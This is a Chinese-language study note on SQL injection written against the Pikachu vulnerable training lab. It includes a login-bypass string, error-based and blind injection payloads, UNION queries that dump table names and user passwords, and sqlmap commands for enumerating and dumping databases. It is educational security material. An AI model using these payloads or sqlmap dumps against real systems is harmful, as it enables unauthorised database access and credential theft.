笔记是根据马士兵教育2024HVV专题编写,作为学习记录来分享,如有错误的地方请指正,谢谢
免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
1、pikachu靶场环境搭建
1.1、pikachu靶场下载地址
https://github.com/zhuifengshaonianhanlu/pikachu
1.2、安装phpstudy
https://www.xp.cn/
1.3、 将pikachu解压于phpstudy下的www目录中
1.4、修改pikachu-master----》inc—》config.inc.php文件
这里修改mysql的端口是因为我默认的3306端口被占用,在phpstudy中修改成3309,所以这边也要改成一样的,主要密码要修改一下。
1.5、启动phpstudy,访问网站
2、sql注入原理
在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。
3、如何判断存在注入
3.1、漏洞可能存在的地方
- 登录框
万能密码
原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password='".md5($password)."'
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
- 查询
- 订单处理等地方
- 获取http头功能点
3.2、注入点查看
- 报错注入
- 盲注
4、常见注入类型及利用方式
4.1、报错注入
4.1.1、报错函数
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string
举例
报错payload:
1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+
解析:这段代码用到updatexml函数,但是第二个参数concat(0x7e,(select+database())是一个连接字符串的函数并不符合xpath_string格式规则就会进行报错。0x7e是~这个符号,查询数据库。
(注: +代表空格,–+代表注释)
ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
payload:
1'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))--+
4.2、sql查询语句
除了查看数据库 还有会使用到的其他函数:
1、user()查当前的用户为:user() =>select user();
2、 Version();当前 mysql 的版本
union select 1,2,version()
3、 Database();当前网站使用的数据库
union select 1,2,database()
4、 User();当前 MySQL 的用户
union select 1,2,user()
5、 system_user(); 系统用户名
6、session_user();连接数据库的用户名
7、current_user;当前用户名
8、load_file();读取本地文件
9、@@datadir:读取数据库路径
10、@@basedir:mysql安装路径
9、length(str) : 返回给定字符串的长度,如 length(“string”)=6
10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致
11、concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
12、group_concat(username) :将username数据查询在一起,用逗号连接
Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
4.3、盲注
盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:
kobe'+and+ascii(substr(database(),1,1))=112--+
substr(database(),1,1)获取数据库的第一个字母
ascii(substr(database(),1,1))转换为ascii值112
ascii值112是p,如果上面这个条件成立,则会正常显示也就是说数据库第一位是p
如果用113则报错
查询数据库第二位ascii值105==i正确,正常显示
kobe'+and+ascii(substr(database(),2,1))=105--+
4.4、联合查询
4.4.1、 在用联合查询前需要先拆解字段
1、首先字符型,先测一下用什么闭合,用单引号或双引号测试,如图可以看出是用单引号闭合
2、拆解一下有几个字段可以使用
a'+order+by+5--+
这里出现报错,说明没有5个字段,那数据就可以往下降
这个靶机降到2显示,说明是2个字段
3、有这个显示后,我们就可以去联合查询,可以查询出他的库名和当前用户
a'+union+select+database(),user*();--+
4.4.2、联合查询语句
1、information_schema.schemata:
该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库
2、information_schema.tables:
该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
payload:
a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
3、information_schema.columns:
该数据表存储了mysql数据库中的所有列的列名
payload:
a' union select table_name,column_name from information_schema.columns where table_name='users'#
4、获取详细数据
a' union select username,password from users#
5、SQL注入实战思路
5.1、waf绕过
1、等于号:
2、Substr,mid等
3、逗号
4、And/or
5.2、sqlmap的使用
扫描语法
1、-u 指定目标url
2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。
3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包–>将请求复制到txt中即可)
4、-p “username,id” # 指定要扫描的参数
5、–proxy=“http://127.0.0.1:8087/” # 使用代理去扫描目标
6、–force-ssl # 使用HTTPS连接进行扫描
7、–delay=“3” # 每次http请求之间的延迟时间,默认无延迟
8、–timeout=“10” # 请求超时时间,浮点数,默认为30秒
9、–level
2:检测cookie中是否含有注入
3:检测user-agent、referer是否含有注入
5:检测host是否含有注入
10、–risk 默认1,最高4,等级高容易造成数据被篡改风险
11、–threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性
12、–dbms=“Mysql” # 指定数据库类型,还可以加上版本 Mysql
13、–os=“Windows” # 指定操作系统,还可以是Linux
查询语法
-
–users # 查询所有的数据库账号
-
–dbs # 查询所有数据库
-
–schema # 查询源数据库(包含定义数据的数据)
-
-a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
-
-D dvwa# 指定数据库
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables
-T 是查看某个数据表
–columns 查看的表中的所有字段
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns
–dump 查看所有字段的内容
-
–current-user # 查询当前数据库用户
-
–current-db # 查询当前数据库
-
–hostname # 查看服务器的主机名
-
- –columns # 查看所有的字段
-
–tables # 查看所有的表
5.3、sql实战思路
前期通过一些漏扫工具扫描,后期通过注入点去手工注入。
自己学习的时候可以,通过sqlmap去跑,然后通过burpsuite的看流量,去学习